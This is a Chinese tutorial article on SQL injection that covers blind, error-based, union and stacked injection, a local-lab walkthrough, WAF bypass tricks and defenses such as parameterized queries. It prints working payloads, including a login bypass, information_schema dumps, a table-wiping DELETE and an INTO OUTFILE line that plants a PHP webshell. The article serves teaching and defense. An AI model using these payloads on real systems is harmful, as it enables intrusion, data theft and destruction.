首页 / 资讯中心 / 文章详情

SQL注入原理与攻击手法详解:从入门到防御实践

SQL注入原理与攻击手法详解:从入门到防御实践 ★ FEATURED ARTICLE
SQL注入这个东西在网络安全圈子里算是老生常谈但又是每年漏洞报告里永远死不掉的那一挂。很多人一听到“注入”就觉得是老古董技术可现实是我自己做渗透测试和代码审计这些年十个站里总能碰上两三个还留着这类口的。这个标题讲的是SQL注入的原理和常见攻击方法其实往深了说它不只是“在登录框里输个引号”那么简单——它是理解“输入到底能不能被信任”这一核心问题的最佳入门案例也是很多更高级攻击手法的地基。这篇内容适合刚入门的安全小白、写后端代码的开发者以及那些想搞懂“为什么拼SQL会出事”但又不想啃论文的运维同学。我会尽量把原理、手法、实战拆开揉碎把踩过的坑和排查思路也一并倒出来保证你看完至少能自己动手复现一个完整注入过程也能给同事讲清楚“为什么不能拼SQL”。1. SQL注入到底是怎么发生的1.1 一句话本质把代码和用户输入混在一起了SQL注入的本质用大白话说就是你写SQL语句的时候把用户输入的内容直接当成了SQL语句的一部分去执行。正常情况下程序应该把“用户输入”当成“数据”来处理但代码一旦把输入拼进SQL字符串里数据库就没有办法区分哪部分是代码、哪部分是数据于是攻击者就能借输入内容来改写整条SQL语句的语义。我举个例子你就懂了。登录功能最常见的一段代码是这么写的SELECT * FROM users WHERE username admin AND password 123456如果开发者图省事直接这样拼String sql SELECT * FROM users WHERE username username AND password password ;这时候用户在用户名框里输入admin --密码随便填最终执行的SQL就变成了SELECT * FROM users WHERE username admin -- AND password xxx注意最后那个--在MySQL和很多数据库里是注释符。注释符后面的所有内容直接失效于是这条SQL就等价于SELECT * FROM users WHERE username admin密码校验直接被“注释”掉了。只要存在一个用户名叫admin的账户攻击者不需要密码就能登录。这就是最经典的万能登录也是SQL注入最直观的入门案例。1.2 为什么开发者会写出这种代码很多人会问拼SQL这种写法教科书里都反复强调不行为什么现实中还是一抓一大把我的实际感受是绝大多数不是开发者“不知道”而是“知道得太晚”或者“图快”。第一类是早期项目遗留代码。很多老系统在2005到2015年之间开发那时候ORM框架还不普及很多团队直接用JDBC或者PHP的mysql扩展拼SQL一套系统跑十年没重构注入点就一直在那里。第二类是“只处理了特殊字符”的错觉。有些开发知道要防注入于是写了几个字符串替换函数比如把单引号替换成两个单引号或者把单引号转义。但问题在于不同的数据库字符集、不同的编码条件下转义是可以被绕过的。比如宽字节注入就是典型的绕过转义的手法后面我会专门讲。第三类是没有意识到“输入不只是表单字段”。不少开发者只检查了HTTP参数忽略了Cookie、请求头、文件上传文件名甚至WebSocket消息里的内容。这些地方只要最终拼进了SQL一样是注入点。我见过一个管理后台登录校验做得固若金汤结果导出报表功能里日期范围参数是拼进去的攻击者把请求里的日期字段改了直接拖走了整个用户表。核心问题不在“写不写过滤”而在“信任边界”。只要你的代码里有一条路径是从外部输入到SQL拼串中间任何一个环节的校验缺失都可能被利用。1.3 攻击者视角为什么要盯死这些输入点站在攻击者角度SQL注入的价值非常大。任何一个拼了用户输入的SQL语句都有可能被用来做三件事绕过认证直接以管理员身份进入系统读取数据库里不该读的数据包括用户名密码、身份证号、订单、聊天记录写入数据比如往用户表里插一个自己的账号或者在后台配置表里改自己的权限有些数据库配置还允许攻击者通过SQL注入读文件甚至写文件。比如MySQL的LOAD_FILE()函数可以读服务器上的敏感文件INTO OUTFILE可以写webshell。这就是为什么SQL注入经常被视为“高危漏洞”——它不只是数据泄露的问题还可能直接演变成服务器被拿下。1.4 必要的环境准备如果你想跟着手动验证下文提到的手法需要准备一个本地环境。我建议用Docker跑一个测试站千万别去碰线上系统这是底线。一个比较省事的组合是Docker MySQL 5.x PHP 5.x/7.x再写一个简单的带有“用户名查询”功能的页面。为什么用老版本因为现在的新版本MySQL在默认配置下对某些函数限制更严格比如INTO OUTFILE默认不允许写文件用老版本更容易复现经典效果。我平时在本地做实验时用的是一条命令docker run --name sqli-lab -p 8080:80 -d php:5.6-apache然后自己写个test.php内容大致是接收GET参数id拼进SQL查询用户表。只要环境是自己的代码怎么写都不会出问题。但你要是手痒去测别人的网站那我先把话说在前面这不仅不道德而且违反法律安全测试必须拿到授权。2. 常见攻击手法逐个拆解SQL注入的手法看着多其实本质都是围绕一个核心目标怎么把自己的输入变成数据库能执行的代码。下面按攻击场景分类把几种最常遇到的手法讲清楚。2.1 基于布尔的盲注不显示数据也能把数据“问”出来有些系统会在数据库报错时返回详细错误信息比较容易判断注入是否存在。可现实中很多系统是“盲”的——页面不显示查询结果也不显示报错只告诉你“查询成功”或者“没有数据”。布尔盲注就是在这种情况下用页面两种不同的返回状态来逐位推断数据。原理很简单。如果某条SQL是SELECT * FROM products WHERE id 1注入后变成SELECT * FROM products WHERE id 1 AND 11页面正常返回因为11恒为真。再改成SELECT * FROM products WHERE id 1 AND 12页面就返回“没有数据”。攻击者可以构造条件比如SELECT * FROM products WHERE id 1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1), 1, 1)) 100如果页面正常说明第一个字符的ASCII码大于100如果返回异常说明小于等于100。这样用二分法逐字符猜一个字符最多猜7到8次就能把整个数据库的表结构、用户数据全“猜”出来。实操中这类攻击通常要写脚本。手工去试不太现实因为几十个字符每个都要试几十次。我在测试环境里写过最原始的脚本逻辑就是拿到HTTP响应后判断200还是404然后循环逼近。后来为了省事我基本用现成工具原理没变只是人家封装好了。2.2 基于报错的注入让数据库替你把话说出来报错注入是我觉得最“优雅”的注入方式因为它省事。数据库在遇到某些函数使用不当的时候会把错误信息连同部分数据一起反馈出来。攻击者就是利用这个特性故意构造报错让数据库把想查的数据带出来。最经典的几个报错函数包括MySQL的extractvalue和updatexml它们的参数格式如果写错会把第二个参数的内容解析后拼到错误信息里。比如正常构造SELECT extractvalue(1, concat(0x7e, (SELECT password FROM users LIMIT 1)))extractvalue要求第二个参数是合法的XPath路径但你给了它~密码内容这种非法的值数据库在报错的时候就会把这个非法值原样吐到错误信息里于是攻击者直接在页面上看到了密码。这类注入最大优势是速度快不需要二分猜测。但前提是页面的错误信息没有被屏蔽。如果开发者设置了display_errorsOff或者用了统一的JSON错误返回报错注入就没法直接用了。我见过不少系统开发环境开着报错上生产后没有关攻击者只要在参数后面加一个就能看到完整SQL和数据库版本整个库结构就暴露一半了。生产环境一定要把详细报错关掉或替换成自定义页面。2.3 基于联合查询的注入最直观、最快出数据联合查询注入UNION注入是我个人最喜欢用来做演示的手法和工具原理因为它不需要猜直接把查询结果合并到正常结果里数据就出现在页面上了。原理是SQL的UNION关键字允许把两个SELECT的结果拼接在一起输出。前提是前后两个查询的字段数量必须一致。所以攻击者第一步是试探原查询到底查了几个字段常用方法是SELECT * FROM products WHERE id 1 ORDER BY 1 SELECT * FROM products WHERE id 1 ORDER BY 2后缀加ORDER BY 1、ORDER BY 2……直到报错就能确定字段数量。也可以用UNION SELECT 1,2,3,4,5如果回显“列数不对”就把数字逐个增加直到页面正常显示出数字就能确定列数并找到哪些字段会回显到页面上。确认列数和回显位置后就能把数字位置换成自己想查的内容。比如查询当前数据库名SELECT * FROM products WHERE id 1 UNION SELECT 1, database(), user(), version(), 5页面就会直接在对应位置显示数据库名、数据库账号和版本号。整个过程在手工状态下也就几分钟的事。这种注入方式唯一要注意的是UNION前面的查询必须真的没结果否则后面联合的数据可能被前面的原始数据“淹没”。所以攻击者通常会先把id改成不存在的负数比如id-1确保UNION后的数据是唯一回显内容。2.4 基于时间的盲注不返回任何信息也能注入有一种极端情况页面既不回显数据也不报错甚至连“成功/失败”都区分不出来。这时候布尔盲注也行不通因为所有请求的结果长得一个样。时间盲注就是在这种情况下强行开出一条路。思路是通过让数据库执行“延时”操作来模拟真假两种状态。如果攻击者构造的条件为真数据库就执行一个耗时较长的内置函数比如MySQL的SLEEP(5)导致响应用了5秒才返回如果条件为假则瞬间返回。这样攻击者通过数“响应时间”就能判定条件真假。示例SELECT * FROM products WHERE id 1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1))100, SLEEP(3), 0)如果页面响应延迟了3秒说明数据库名的第一个字符ASCII码确实大于100。逐个字符试过去整个库名都能被“睡”出来。时间盲注最考验耐心网络波动会影响判断所以攻击者通常会设置比较大的时间阈值比如5秒并且多次请求做对比。防御方如果看到日志里出现大量请求耗时异常集中在同一个接口就要警惕了。2.5 堆叠注入一条请求能执行多条SQL堆叠注入Stacked Queries是很多初学者容易忽略的点。它利用分号;把多条SQL语句串在一起执行。大多数SQL查询接口只允许一条SELECT但有些数据库连接配置允许多语句执行比如PHP的multi_query或者PDO配置里的MULTI_STATEMENTS。攻击者构造这样的输入1; DELETE FROM users WHERE 11如果原代码是SELECT * FROM products WHERE id 1执行时就变成了SELECT * FROM products WHERE id 1; DELETE FROM users WHERE 11两条语句依次执行前面查询完后面直接把用户表清空。堆叠注入的破坏力极大它不只是“读数据”而是可以执行任意SQL包括插入账号、修改权限、甚至执行INTO OUTFILE写webshell。但它的触发条件也更苛刻需要底层数据库连接支持多语句。我在实际审计中见到过几个Java项目配了allowMultiQueriestrue这种配置如果没有特殊理由建议一律关掉。3. 实操过程与核心环节实现前面讲了原理和分类这一节我带你走一遍完整的注入过程。我会用一个模拟场景以“某公司客户管理系统”的查询接口为例从判断注入点到拖出敏感数据整个过程都会展开讲方便你建立完整的操作链路认知。请注意这是在本地测试环境完成的且所有账户数据都是虚构的模拟数据。3.1 探测阶段先确认接口到底有没有洞假设目标接口是http://localhost:8080/customer/search.php?name张页面返回客户列表。我先正常访问接着在name参数后面加一个http://localhost:8080/customer/search.php?name张页面报错提示SQL语法错误并且错误信息里有SQL片段。这时候基本可以断定参数是拼进SQL的而且数据库在报错。因为单纯数据中包含单引号不该导致SQL语法错误——除非单引号“逃出”了字符串边界。紧接着我需要确认字段数量。用ORDER BY逐步试探http://localhost:8080/customer/search.php?name张 ORDER BY 1 -- http://localhost:8080/customer/search.php?name张 ORDER BY 2 --我没有直接用UNION SELECT原因是如果不知道列数直接UNION会报“列数不同”的错误干扰判断。先用ORDER BY逐个尝试直到字段数超过实际查询列导致页面报错为止。比如ORDER BY 4报错而ORDER BY 3正常那说明原查询是3列。这里的--是为了把后面多余的内容注释掉确保原SQL的剩余部分不会干扰我的注入语句。在MySQL注释语法里--后面必须跟一个空格所以很多payload会写成--因为加号在URL编码里其实是空格。3.2 发力阶段确定回显位并提取数据确认列数是3后接下来我构造UNION查询http://localhost:8080/customer/search.php?name张 AND 10 UNION SELECT 1,2,3 --把原查询条件改成10是因为前面说过如果原查询有结果UNION后的数据会排在后面不太显眼。改成无结果后页面只会回显UNION的数据。此时页面上会出现数字1、2、3说明三个位置都在页面中回显。接下来就可以在位置2、3上替换成目标数据。比如先看数据库版本和当前用户http://localhost:8080/customer/search.php?name张 AND 10 UNION SELECT 1,version(),database() --页面直接显示MySQL的版本号和库名。再到information_schema里查表名http://localhost:8080/customer/search.php?name张 AND 10 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema客户系统库名 --用group_concat把表名拼成一行返回页面显示出一串表名。找到users表后再查表里的字段http://localhost:8080/customer/search.php?name张 AND 10 UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_nameusers --最后查具体数据把账号密码字段一次性拉出来。密码字段如果是明文的这单测试基本就结束了如果是MD5或哈希还得走解密的步骤但那是另一个话题了。3.3 写在实操笔记里的几个细节有几个细节容易翻车我在本地折腾时踩过拿出来分享一下。--和#的区别。MySQL里注释符号有#和--注意横线后必须空格--是因为URL里加号解析成空格才流行起来的。在有些后端框架里如果做了URL解码后的二次过滤用#转成%23可能更稳。单引号被转义怎么办。如果开发者把用户输入里的替换成了\直接拼的单引号就没用了。这种情况可以先看有没有宽字节注入的条件。数据库是GBK编码的系统中输入%bf%27可以吃掉转义符\让后面的单引号重新“恢复自由身”。这种绕过方式在老旧系统中非常常见我审计时至少遇到过三次。GET参数和POST参数都要测。很多扫描器只扫了GET但实际系统里POST的JSON体、XML体同样可能是注入点。尤其是一些接口调试时为了方便直接用POST传递SQL关键字到存储过程这类接口攻击者用工具稍微改一下请求就能打到。3.4 从注入到“惹祸”只有一步之遥如果现场环境支持多语句执行攻击者可以继续往下走。以MySQL为例如果当前账号权限足够且数据库配置允许攻击者可能执行SELECT * FROM customer WHERE name张; SELECT ?php eval($_POST[cmd]); ? INTO OUTFILE /var/www/html/shell.php这就是写文件攻击直接把一句话木马写到Web目录里后面配合连接工具就能完全控制服务器。不过现在新版本MySQL默认限制了secure_file_priv写文件这条路大多被封死了。但老版本系统、特定配置环境中仍然存在。这个链条告诉我们SQL注入的“下限”可能是泄露数据“上限”可能是服务器沦陷。所以你怎么认真对待都不为过。4. 常见问题与排查技巧实录4.1 问题一报错信息出来了但UNION不回显数据我在测试模拟系统时遇到过一种情况报错注入能出数据但UNION查询总是不显示自己的数据。排查原因发现原查询的SQL语句末尾带着一个LIMIT 10我的UNION语句追加在LIMIT之后数据库直接报语法错误。处理方法很简单如果原查询带LIMIT就用注释把LIMIT及其后面内容全部注释掉然后在UNION语句里自己控制LIMIT。比如name张 AND 10 UNION SELECT 1,2,3 -- LIMIT 1后面这个--注释掉原有的LIMIT就能正常显示。另外有些ORM框架会默认在查询后追加ORDER BY或LIMIT手工注入时如果发现UNION没效果可以考虑用--把所有尾部内容注释掉。4.2 问题二搜出来的数据是乱码这属于字符集问题。数据库是utf8页面却是gbk或者反过来注入回显的中文变成???或乱码。这种情况在实战中非常常见我自己的做法是在payload里尽量用十六进制编码目标字符串比如把database()的返回值转成十六进制它本身是英文字符串一般不受影响。如果查中文表名或数据就在payload里加CONVERT(... USING utf8)强制转码。排查这类问题别一上来就怀疑注入不存在。先看看HTTP响应头的Content-Type里有没有charset再看看数据库连接字符集。很多时候不是注入失败而是编码不一致导致显示异常。4.3 问题三WAF或应用层过滤拦截了我的请求现在的Web应用多少都会套一层安全过滤常见的有云WAF、开源WAF模块或者是代码里的关键词黑名单。我遇到过最朴素的规则是把输入里的SELECT、UNION、全部替换成空字符串。这种过滤方式有两个经典绕过思路。第一个思路是双写绕过。如果过滤是“把SELECT替换成空”输入SELSELECTECT替换后会变成SELECT语句依然有效。第二个思路是利用注释拆分关键字。MySQL支持在关键字中间插入注释比如UN/**/ION SEL/**/ECT数据库会把注释忽略掉实际执行的就是UNION SELECT。这也是SQL注入payload里常见的内联注释写法的来源。如果WAF只做正则匹配很难覆盖所有“关键字注释”的组合。不过需要说明绕过WAF属于对抗操作我只建议在授权的渗透测试中使用这个思路。从防守方角度看看到这种特征基本可以确定有人在恶意探测。4.4 排查技巧用“请求-响应-时间”三条线索定位问题我在调试注入payload时一般会同时看三样东西请求响应码200、302、500分别说明什么响应长度有没有多出几行数据响应耗时判断时间盲注条件是否触发有一次时间盲注始终不触发页面一直是秒回。我抓包看了后端返回的请求发现服务端把所有输入都做了“首字母大写”处理导致我注入的if函数变成了IfMySQL函数名是不区分大小写的按理说没问题。再排查发现后端是消息队列异步处理请求接口先返回“任务已接收”真正执行SQL的worker稍后才跑所以响应时间是反着的时间盲注自然失效。这类“非典型”环境提醒我们SQL注入的判断不能只看页面行为还要理解整个请求链路。如果必要可以配合查询日志来确认payload到底有没有进到数据库。5. 防御不是加个过滤就完事5.1 最核心的一条参数化查询能解决90%的问题在所有防御手段里参数化查询Prepared Statement是最根本、最有效的一招。它的思路是SQL的结构在发送给数据库前就已经固定了用户输入只作为“参数值”传入数据库知道这是数据永远不可能变成SQL代码。以Java为例正确写法是String sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement ps conn.prepareStatement(sql); ps.setString(1, username); ps.setString(2, password);以PHP的PDO为例$stmt $pdo-prepare(SELECT * FROM users WHERE username :username); $stmt-execute([:username $username]);在这两种写法里不管用户输入什么数据库只会把它当作文本处理。攻击者注入的那一套单引号、UNION、注释符全部失去了语法意义。这也是为什么我一直认为参数化查询不是“可选项”而是底线。但要注意参数化查询解决的是“数据位置”的注入对于无法参数化的场景比如动态表名、动态列名、ORDER BY后的字段名还是要靠白名单校验。举一个反例某系统的排序功能允许用户传sortusername开发就把它拼进了SQL。虽然所有查询都用了参数化但排序字段属于SQL结构的一部分没法参数化。这时候你必须在后端做白名单只允许username、created_at等预设值其他一律拒绝。5.2 纵深防御的几个细节参数化查询能挡住大部分注入但现实世界的代码总有历史的、遗留的、赶工的部分所以还需要在几层防护上做兜底。数据库账号要遵循最小权限原则。很多注入事故能拖走所有库就是因为应用连接数据库的账号连DROP权限都有。应用连DB只用来增删改查业务数据为什么要给FILE、SUPER、GRANT权限我审计的系统里确实见过用root账号跑业务的说实话非常头大。务必给应用单独建立账号只授予它需要的库、需要的表的权限。错误信息别给数据库原话。数据库报错会暴露表结构、SQL片段、甚至部分数据这对攻击者来说是“免费情报”。生产环境里统一配置自定义错误页把真实报错记录到后端日志不要让用户直接看到。WAF之类的安全设备可以放在网络边界做第一道拦截但别完全依赖它。WAF的问题是——它是基于特征的攻击者换个编码、换个绕过方式就可能穿透。WAF只能“降低攻击面”不能“消除漏洞”。5.3 从代码审查到安全测试一个都不能少再好的安全规范没人执行也是空谈。我在实际项目里推过一套流程核心是三件事代码审查时把SQL语句找出来逐条确认是否走参数化每次上线前用自动化漏洞扫描器和服务端工具扫一遍关键接口每季度做一次人工渗透测试重点看登录、查询、导出类接口自动化扫描能发现表面问题但真正的问题往往藏在业务逻辑里。比如某个导出功能支持date_from和date_to拼接SQL扫描器默认这些参数是日期格式未必能测出注入。人工测试的价值就是覆盖这些“不按套路出牌”的参数。5.4 应急响应时如果已经发现被注入了如果真的在线上发现SQL注入攻击按我的习惯优先级是这样排列的先把被攻击的接口或参数断掉。可以用WAF阻断那条URL或者在Nginx层临时加规则让攻击payload无法到达应用。然后备份当前数据库和日志保证证据链完整。这一步很重要尤其是涉及法律追责时没有留存数据等于白干。接着排查攻击者的行为痕迹看日志里有没有异常查询语句、有没有写文件、有没有新增的账户或计划任务。确认影响范围后再评估数据泄露的体量和敏感程度。结构性问题修完之前不要急着把服务恢复上线。很多团队先“止血”再“治病”结果攻击者换个姿势又进来了。先把代码层漏洞修掉或把接口下线再恢复服务顺序不要颠倒。6. 我个人几次实操后的体会接触SQL注入这些年我最大的感受是这技术的门槛不算高但对“输入输出模型”的理解要求特别扎实。你只有真正搞懂了数据从用户到数据库再到页面展示这条链路才能在开发和防御两个角色里都站得住。我个人在测试里养成的一个习惯是拿到任何接口先看参数名再看参数类型最后看参数会不会进入SQL上下文。如果会不管有没有过滤都先假定它存在注入风险再一步步验证。宁可“误报”再排除也别因为大意漏掉了真问题。还有一个小技巧想分享给大家写payload之前先想清楚你执行这条SQL的最终目标是什么然后再倒推需要哪些前置条件。比如你要UNION查询指定库的表名那就必须先确定原查询列数如果你要时间盲注数据库名那就必须先确定条件表达式怎么写才不会报错。倒着推整个过程会顺很多。SQL注入这个课题能聊的还有很多比如二次注入、注入配合文件读写、存储过程中的注入问题这些都是在基础原理之上延伸出来的变体。把地基打牢后面遇到再新的花样你也一眼能看出它的根还是那一条代码把输入当成了指令。这篇文章就讲到这里如果你正好在调试自己的代码或者在做安全测试建议把文中提的几种注入方式都在本地环境复现一遍。光看永远体会不到那种“条件对了、数据出来了”的感觉动手试过一遍很多疑惑会自然解开。
阅读完成 · 觉得有帮助?
咨询建站